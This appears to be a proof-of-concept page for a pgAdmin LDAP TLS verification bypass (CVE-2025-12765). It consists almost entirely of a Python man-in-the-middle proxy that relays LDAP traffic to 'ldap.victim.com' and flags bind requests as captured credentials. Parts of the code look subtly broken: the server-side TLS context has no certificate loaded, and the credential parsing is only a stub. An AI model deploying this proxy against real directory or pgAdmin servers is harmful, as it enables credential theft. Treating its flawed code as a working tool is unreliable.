CVE-2025-12765: pgAdmin LDAP认证TLS证书验证绕过漏洞

# CVE-2025-12765 PoC - pgAdmin LDAP TLS Verification Bypass # This PoC demonstrates the MITM attack concept (for educational purposes only) import socket import ssl import threading import ldap from urllib.parse import urlparse class LDAPMITMProxy: def __init__(self, attacker_port=636, target_server='legitimate-ldap.example.com', target_port=636): self.attacker_port = attacker_port self.target_server = target_server self.target_port = target_port def create_fake_server(self): # Create SSL context with self-signed certificate context = ssl.create_default_context() context.check_hostname = False # Bypass hostname verification context.verify_mode = ssl.CERT_NONE # Bypass certificate verification # Load attacker's certificate (self-signed or forged) # context.load_cert_chain('attacker_cert.pem', 'attacker_key.pem') return context def handle_client_connection(self, client_socket, client_addr): print(f"[*] Connection from {client_addr}") try: # Connect to legitimate LDAP server remote_socket = socket.create_connection((self.target_server, self.target_port), timeout=10) # Create MITM SSL connection to client mitm_context = self.create_fake_server() secure_client = mitm_context.wrap_socket(client_socket, server_side=True) # Create SSL connection to target server remote_context = ssl.create_default_context() remote_context.check_hostname = True remote_context.verify_mode = ssl.CERT_REQUIRED secure_remote = remote_context.wrap_socket(remote_socket, server_hostname=self.target_server) # Forward traffic bidirectionally self.forward_traffic(secure_client, secure_remote) except Exception as e: print(f"[!] Error handling connection: {e}") finally: client_socket.close() def forward_traffic(self, source, destination): # Intercept and log LDAP credentials try: while True: data = source.recv(4096) if not data: break # Check for LDAP bind request (contains credentials) if self.is_ldap_bind_request(data): print("[*] Captured LDAP Bind Request") self.extract_credentials(data) destination.sendall(data) response = destination.recv(4096) source.sendall(response) except Exception as e: print(f"[!] Forwarding error: {e}") def is_ldap_bind_request(self, data): # LDAP Bind Request protocol operation type is 0x60 return b'\x30' in data and b'\x02\x01\x60' in data def extract_credentials(self, data): # Parse and log captured credentials (simplified) print("[!] LDAP credentials potentially captured") # Implement full LDAP protocol parsing here def start(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', self.attacker_port)) server.listen(5) print(f"[*] MITM Proxy listening on port {self.attacker_port}") while True: client_socket, addr = server.accept() thread = threading.Thread(target=self.handle_client_connection, args=(client_socket, addr)) thread.daemon = True thread.start() if __name__ == "__main__": # Configure with target pgAdmin LDAP settings proxy = LDAPMITMProxy( attacker_port=636, target_server='ldap.victim.com', target_port=636 ) proxy.start()